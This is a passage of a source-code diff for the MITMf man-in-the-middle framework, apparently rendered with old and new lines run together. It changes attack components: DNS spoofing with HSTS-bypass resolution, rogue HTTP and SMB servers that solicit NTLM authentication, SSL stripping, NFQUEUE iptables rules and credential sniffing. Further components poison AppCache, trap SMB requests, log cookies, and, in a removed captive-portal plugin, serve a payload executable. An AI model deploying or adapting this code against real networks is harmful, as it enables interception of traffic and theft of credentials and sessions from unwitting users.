if qtype == "AAAA": if qtype == "AAAA":
@ -190,7 +182,6 @@ class DNSHandler():
elif qtype == "*" and not None in fake_records.values(): elif qtype == "*" and not None in fake_records.values():
log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip) log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip)
dnslog.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip)
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
@ -266,7 +257,6 @@ class DNSHandler():
# Proxy the request # Proxy the request
else: else:
log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip) log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip)
dnslog.info("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip)
nameserver_tuple = random.choice(nameservers).split('#') nameserver_tuple = random.choice(nameservers).split('#')
response = self.proxyrequest(data, *nameserver_tuple) response = self.proxyrequest(data, *nameserver_tuple)
@ -349,7 +339,6 @@ class DNSHandler():
except Exception as e: except Exception as e:
log.warning("Could not proxy request: {}".format(e), extra=clientip) log.warning("Could not proxy request: {}".format(e), extra=clientip)
dnslog.info("Could not proxy request: {}".format(e), extra=clientip)
else: else:
return reply return reply
@ -357,7 +346,6 @@ class DNSHandler():
clientip = {'clientip': self.client_address[0]} clientip = {'clientip': self.client_address[0]}
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
dnslog.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
@ -366,7 +354,6 @@ class DNSHandler():
#First proxy the request with the real domain #First proxy the request with the real domain
q = DNSRecord.question(real_domain).pack() q = DNSRecord.question(real_domain).pack()
r = self.proxyrequest(q, *nameserver_tuple) r = self.proxyrequest(q, *nameserver_tuple)
if r is None: return None
#Parse the answer #Parse the answer
dns_rr = DNSRecord.parse(r).rr dns_rr = DNSRecord.parse(r).rr
@ -462,12 +449,7 @@ class DNSChef(ConfigWatcher):
# Use alternative DNS servers # Use alternative DNS servers
if config['nameservers']: if config['nameservers']:
self.nameservers = [] self.nameservers = config['nameservers'].split(',')
if type(config['nameservers']) is str:
self.nameservers.append(config['nameservers'])
elif type(config['nameservers']) is list:
self.nameservers = config['nameservers']
for section in config.sections: for section in config.sections:

View file

@ -49,10 +49,10 @@ class HTTP:
def start(self): def start(self):
try: try:
#if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
#server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1)
#else: else:
server = ThreadingTCPServer(('0.0.0.0', 80), HTTP1) server = ThreadingTCPServer(('', 80), HTTP1)
t = threading.Thread(name='HTTP', target=server.serve_forever) t = threading.Thread(name='HTTP', target=server.serve_forever)
t.setDaemon(True) t.setDaemon(True)
@ -267,7 +267,7 @@ def PacketSequence(data, client):
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
log.info("{} [HTTP] Sending NTLM authentication request".format(client)) log.info("{} [HTTP] Sending NTLM authentication request to".format(client))
return str(Response) return str(Response)

View file

@ -28,12 +28,12 @@ class SMB:
def start(self): def start(self):
try: try:
#if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
# server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
# server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
#else: else:
server1 = ThreadingTCPServer(('0.0.0.0', 445), SMB1) server1 = ThreadingTCPServer(('', 445), SMB1)
server2 = ThreadingTCPServer(('0.0.0.0', 139), SMB1) server2 = ThreadingTCPServer(('', 139), SMB1)
for server in [server1, server2]: for server in [server1, server2]:
t = threading.Thread(name='SMB', target=server.serve_forever) t = threading.Thread(name='SMB', target=server.serve_forever)

View file

@ -155,7 +155,7 @@ class ServerConnection(HTTPClient):
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
clientlog.info("Zapped a strict-transport-security header", extra=self.clientInfo) clientlog.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -179,7 +179,7 @@ class ServerConnection(HTTPClient):
self.plugins.hook() self.plugins.hook()
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
for header, value in self.headers.iteritems(): for header, value in self.client.headers.iteritems():
log.debug("Receiving header: ({}: {})".format(header, value)) log.debug("Receiving header: ({}: {})".format(header, value))
def handleResponsePart(self, data): def handleResponsePart(self, data):

View file

@ -98,5 +98,5 @@ class iptables:
def NFQUEUE(self): def NFQUEUE(self):
log.debug("Setting iptables NFQUEUE rule") log.debug("Setting iptables NFQUEUE rule")
os.system('iptables -I FORWARD -j NFQUEUE --queue-num 0') os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
self.nfqueue = True self.nfqueue = True

@ -1 +1 @@
Subproject commit d2f352139f23ed642fa174211eddefb95e6a8586 Subproject commit dadf1d21bfcb9c8ebefc7891bd95b9452b2af8d5

2
logs/.gitignore vendored
View file

@ -1,5 +1,5 @@
* *
!.gitignore !.gitignore
!responder/ !responder/
!dns/ !dnschef/
!ferret-ng/ !ferret-ng/

View file

@ -41,7 +41,7 @@ mitmf_version = '0.9.8'
mitmf_codename = 'The Dark Side' mitmf_codename = 'The Dark Side'
if os.geteuid() != 0: if os.geteuid() != 0:
sys.exit("[-] The derp is strong with this one\nTIP: you may run MITMf as root.") sys.exit("[-] The derp is strong with this one")
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
version="{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename),
@ -52,14 +52,14 @@ parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_ver
#add MITMf options #add MITMf options
sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on")
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit') sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit')
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic', nargs='+') sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
#Initialize plugins and pass them the parser NameSpace object #Initialize plugins and pass them the parser NameSpace object
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
@ -73,15 +73,6 @@ options = parser.parse_args()
#Set the log level #Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()] logger().log_level = logging.__dict__[options.log_level.upper()]
from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)
from core.netcreds import NetCreds
if options.read_pcap:
NetCreds().parse_pcap(options.read_pcap)
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown from core.utils import get_ip, get_mac, shutdown
options.ip = get_ip(options.interface) options.ip = get_ip(options.interface)
@ -89,18 +80,33 @@ options.mac = get_mac(options.interface)
settings.Config.populate(options) settings.Config.populate(options)
from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)
log.debug("MITMf started: {}".format(sys.argv)) log.debug("MITMf started: {}".format(sys.argv))
#Start Net-Creds #Start Net-Creds
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) from core.netcreds import NetCreds
NetCreds().start(options.interface, options.ip, options.read_pcap)
NetCreds().start(options.interface, options.ip)
print "|"
print "|_ Net-Creds v{} online".format(NetCreds.version)
from core.sslstrip.CookieCleaner import CookieCleaner
from core.proxyplugins import ProxyPlugins from core.proxyplugins import ProxyPlugins
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
URLMonitor.getInstance().setCaching(options.preserve_cache)
CookieCleaner.getInstance().setEnabled(options.killsessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
ProxyPlugins().all_plugins = plugins ProxyPlugins().all_plugins = plugins
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
for plugin in plugins: for plugin in plugins:
#load only the plugins that have been called at the command line #load only the plugins that have been called at the command line
@ -120,44 +126,25 @@ for plugin in plugins:
for line in xrange(0, len(plugin.tree_info)): for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop()) print "| |_ {}".format(plugin.tree_info.pop())
plugin.reactor(strippingFactory)
plugin.start_config_watch() plugin.start_config_watch()
print "|"
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
print "|"
if options.filter: if options.filter:
from core.packetfilter import PacketFilter from core.packetfilter import PacketFilter
pfilter = PacketFilter(options.filter) pfilter = PacketFilter(options.filter)
print "|_ PacketFilter online"
for filter in options.filter:
print " |_ Applying filter {} to incoming packets".format(filter)
try:
pfilter.start() pfilter.start()
except KeyboardInterrupt: print "|_ PacketFilter online"
pfilter.stop() print "| |_ Applying filter {} to incoming packets".format(options.filter)
shutdown()
else: print "|_ Net-Creds v{} online".format(NetCreds.version)
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
URLMonitor.getInstance().setCaching(options.preserve_cache)
CookieCleaner.getInstance().setEnabled(options.killsessions)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
for plugin in plugins:
if vars(options)[plugin.optname] is True:
plugin.reactor(strippingFactory)
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
#Start mitmf-api #Start mitmf-api
from core.mitmfapi import mitmfapi from core.mitmfapi import mitmfapi
print "|"
print "|_ MITMf-API online" print "|_ MITMf-API online"
mitmfapi().start() mitmfapi().start()
@ -180,4 +167,7 @@ else:
reactor.run() reactor.run()
print "\n" print "\n"
if options.filter:
pfilter.stop()
shutdown() shutdown()

View file

@ -36,7 +36,6 @@ class AppCachePlugin(Plugin):
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.caching = True
self.urlMonitor.setAppCachePoisoning() self.urlMonitor.setAppCachePoisoning()
def response(self, response, request, data): def response(self, response, request, data):
@ -73,25 +72,29 @@ class AppCachePlugin(Plugin):
p = self.getTemplatePrefix(section) p = self.getTemplatePrefix(section)
self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) self.clientlog.info("Poisoning raw URL", extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content if os.path.exists(p + '.replace'): # replace whole content
with open(p + '.replace', 'r') as f: f = open(p + '.replace', 'r')
data = f.read() data = f.read()
f.close()
elif os.path.exists(p + '.append'): # append file to body elif os.path.exists(p + '.append'): # append file to body
with open(p + '.append', 'r') as f: f = open(p + '.append', 'r')
data += f.read() data += f.read()
f.close()
elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)): elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)):
self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo)
p = self.getTemplatePrefix(section) p = self.getTemplatePrefix(section)
self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo) self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo)
if os.path.exists(p + '.replace'): # replace whole content if os.path.exists(p + '.replace'): # replace whole content
with open(p + '.replace', 'r') as f: f = open(p + '.replace', 'r')
data = f.read() data = f.read()
f.close()
elif os.path.exists(p + '.append'): # append file to body elif os.path.exists(p + '.append'): # append file to body
with open(p + '.append', 'r') as f: f = open(p + '.append', 'r')
appendix = f.read() appendix = f.read()
data = re.sub(re.compile("</body>",re.IGNORECASE), appendix + "</body>", data) #append to body data = re.sub(re.compile("</body>",re.IGNORECASE), appendix + "</body>", data) #append to body
f.close()
# add manifest reference # add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(section)+"\"", data) data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(section)+"\"", data)
@ -151,8 +154,9 @@ class AppCachePlugin(Plugin):
if not os.path.exists(p+'.manifest'): if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix() p = self.getDefaultTemplatePrefix()
with open(p + '.manifest', 'r') as f: f = open(p + '.manifest', 'r')
manifest = f.read() manifest = f.read()
f.close()
return self.decorate(manifest, section) return self.decorate(manifest, section)
def decorate(self, content, section): def decorate(self, content, section):

View file

@ -1,149 +0,0 @@
# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# note: portal.html has been adapted from
# config/responder/AccessDenied.html for now
from plugins.plugin import Plugin
from urlparse import urlparse
class Captive(Plugin):
name = "Captive Portal"
optname = "captive"
tree_info = ["Captive Portal online"]
desc = "Be a captive portal!"
version = "0.1"
def initialize(self, options):
self.options = options
from core.utils import shutdown
if options.portalurl:
self.portalurl = options.portalurl
else:
# self.options.ip is prefilled earlier
self.hostname = 'captive.portal' if self.options.usedns else self.options.ip
if options.portaldir:
self.serve_dir(options.portaldir)
else:
self.serve_portal()
def response(self, response, request, data):
if urlparse(self.portalurl).hostname not in request.headers['host']:
self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo)
response.headers = {}
data = '''<html>
<body>
<p>Please click <a href="{}">here</a> if you are not redirected automatically</p>
</body></html>
'''.format(self.portalurl)
response.redirect(self.portalurl)
return {'response': response, 'request':request, 'data': data}
def options(self, options):
''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or
start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) '''
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.')
group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).')
options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.')
def on_shutdown(self):
'''This will be called when shutting down'''
pass
def serve_portal(self):
self.portalurl = 'http://{}/portal.html'.format(self.hostname)
from core.servers.HTTP import HTTP
HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html')
HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename'])
self.tree_info.append("Portal login served by built-in HTTP server.")
def serve_dir(self, dir):
import threading
import posixpath
import urllib
import os
from SimpleHTTPServer import SimpleHTTPRequestHandler
from BaseHTTPServer import HTTPServer as ServerClass
Protocol = "HTTP/1.0"
port = self.config['Captive']['Port']
ServerString = self.config['Captive']['ServerString']
self.portalurl = "http://{}:{}/".format(self.hostname, port)
ROUTES = (['', dir],)
class HandlerClass(SimpleHTTPRequestHandler):
'''HandlerClass adapted from https://gist.github.com/creativeaura/5546779'''
def translate_path(self, path):
'''translate path given routes'''
# set default root to cwd
root = os.getcwd()
# look up routes and set root directory accordingly
for pattern, rootdir in ROUTES:
if path.startswith(pattern):
# found match!
path = path[len(pattern):] # consume path up to pattern len
root = rootdir
break
# normalize path and prepend root directory
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = root
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir):
continue
path = os.path.join(path, word)
return path
server_address = ('0.0.0.0', int(port))
HandlerClass.protocol_version = Protocol
HandlerClass.server_version = ServerString
httpd = ServerClass(server_address, HandlerClass)
ServerClass.path = dir
sa = httpd.socket.getsockname()
try:
t = threading.Thread(name='PortalServer', target=httpd.serve_forever)
t.setDaemon(True)
t.start()
self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir))
except Exception as e:
shutdown("Failed to start Portal Server")

View file

@ -45,6 +45,7 @@ class FerretNG(Plugin):
with open(options.cookie_file, 'r') as cookie_file: with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = json.dumps(cookie_file.read()) self.cookie_file = json.dumps(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e: except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e)) shutdown("[-] Error loading cookie log file: {}".format(e))
@ -93,3 +94,4 @@ class FerretNG(Plugin):
self.log.info("Writing cookies to log file") self.log.info("Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies)) cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

View file

@ -611,14 +611,14 @@ class FilePwn(Plugin):
def response(self, response, request, data): def response(self, response, request, data):
content_header = response.responseHeaders.getRawHeaders('Content-Type')[0] content_header = response.headers['content-type']
client_ip = request.client.getClientIP() client_ip = request.client.getClientIP()
host = request.headers['host'] host = request.headers['host']
if not response.responseHeaders.hasHeader('content-length'): try:
content_length = int(response.headers['content-length'])
except KeyError:
content_length = None content_length = None
else:
content_length = int(response.responseHeaders.getRawHeaders('content-length')[0])
for target in self.user_config['targets'].keys(): for target in self.user_config['targets'].keys():
if target == 'ALL': if target == 'ALL':

View file

@ -1,57 +0,0 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import random
import os
from plugins.plugin import Plugin
class ImageRandomizer(Plugin):
name = "ImageRandomizer"
optname = "imgrand"
desc = 'Replaces images with a random one from a specified directory'
version = "0.1"
def initialize(self, options):
self.options = options
self.img_dir = options.img_dir
def responseheaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()
def response(self, response, request, data):
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
img = random.choice(os.listdir(self.options.img_dir))
with open(os.path.join(self.options.img_dir, img), 'rb') as img_file:
data = img_file.read()
self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}
except Exception as e:
self.clientlog.info("Error: {}".format(e), extra=request.clientInfo)
def options(self, options):
options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images")

View file

@ -61,13 +61,10 @@ class Inject(Plugin):
ip = response.getClientIP() ip = response.getClientIP()
hn = response.getRequestHostname() hn = response.getRequestHostname()
if not response.responseHeaders.hasHeader('Content-Type'): try:
return {'response': response, 'request':request, 'data': data} mime = response.headers['Content-Type']
except KeyError:
mime = response.responseHeaders.getRawHeaders('Content-Type')[0] return
if "text/html" not in mime:
return {'response': response, 'request':request, 'data': data}
if "charset" in mime: if "charset" in mime:
match = re.search('charset=(.*)', mime) match = re.search('charset=(.*)', mime)

View file

@ -31,7 +31,6 @@ class Plugin(ConfigWatcher):
def __init__(self, parser): def __init__(self, parser):
'''Passed the options namespace''' '''Passed the options namespace'''
if self.desc: if self.desc:
sgroup = parser.add_argument_group(self.name, self.desc) sgroup = parser.add_argument_group(self.name, self.desc)
else: else:

View file

@ -35,7 +35,7 @@ class Replace(Plugin):
self.options = options self.options = options
def response(self, response, request, data): def response(self, response, request, data):
mime = response.responseHeaders.getRawHeaders('Content-Type')[0] mime = response.headers['Content-Type']
hn = response.getRequestHostname() hn = response.getRequestHostname()
if "text/html" in mime: if "text/html" in mime:

View file

@ -91,5 +91,5 @@ class Responder(Plugin):
options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server")
options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)") options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
options.add_argument('--basic', dest="basic", action="store_true", help="Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

View file

@ -46,6 +46,7 @@ class ScreenShotter(Inject, Plugin):
try: try:
with open('./logs/' + img_file, 'wb') as img: with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
except Exception as e: except Exception as e:

View file

@ -33,6 +33,6 @@ class SMBTrap(Plugin):
return {"request": request, "version": version, "code": 302, "message": "Found"} return {"request": request, "version": version, "code": 302, "message": "Found"}
def responseheaders(self, response, request): def responseheaders(self, response, request):
self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo) self.clientlog.info("Trapping request to {}".format(request.headers['host']))
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)]) response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)

View file

@ -70,7 +70,7 @@ class Spoof(Plugin):
if options.dns: if options.dns:
self.tree_info.append('DNS spoofing enabled') self.tree_info.append('DNS spoofing enabled')
if iptables().dns is False and options.filter is None: if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port']) iptables().DNS(self.config['MITMf']['DNS']['port'])
if not options.arp and not options.icmp and not options.dhcp and not options.dns: if not options.arp and not options.icmp and not options.dhcp and not options.dns:
@ -78,7 +78,7 @@ class Spoof(Plugin):
set_ip_forwarding(1) set_ip_forwarding(1)
if iptables().http is False and options.filter is None: if iptables().http is False:
iptables().HTTP(options.listen_port) iptables().HTTP(options.listen_port)
for protocol in self.protocol_instances: for protocol in self.protocol_instances:

View file

@ -33,7 +33,7 @@ class SSLstripPlus(Plugin):
from core.servers.DNS import DNSChef from core.servers.DNS import DNSChef
from core.utils import iptables from core.utils import iptables
if iptables().dns is False and options.filter is False: if iptables().dns is False:
iptables().DNS(self.config['MITMf']['DNS']['port']) iptables().DNS(self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass() URLMonitor.getInstance().setHstsBypass()

View file

@ -34,7 +34,7 @@ class Upsidedownternet(Plugin):
if request.isImageRequest: if request.isImageRequest:
request.isImageRequest = False request.isImageRequest = False
request.isImage = True request.isImage = True
self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() self.imageType = response.headers['content-type'].split('/')[1].upper()
def response(self, response, request, data): def response(self, response, request, data):
try: try:

View file

@ -1,4 +1,4 @@
git+https://github.com/kti/python-netfilterqueue git+git://github.com/kti/python-netfilterqueue
pyinotify pyinotify
pycrypto pycrypto
pyasn1 pyasn1

3
setup.sh Executable file
View file

@ -0,0 +1,3 @@
#!/usr/bin/env bash
git submodule init && git submodule update --recursive

View file

@ -24,7 +24,7 @@ class BasicTests(unittest.TestCase):
from core.logger import logger from core.logger import logger
logger.log_level = logging.DEBUG logger.log_level = logging.DEBUG
from core.netcreds import NetCreds from core.netcreds import NetCreds
NetCreds().start('venet0:0', '172.30.96.18') NetCreds().start('venet0:0', '172.30.96.18', None)
def test_SSLStrip_Proxy(self): def test_SSLStrip_Proxy(self):
favicon = True favicon = True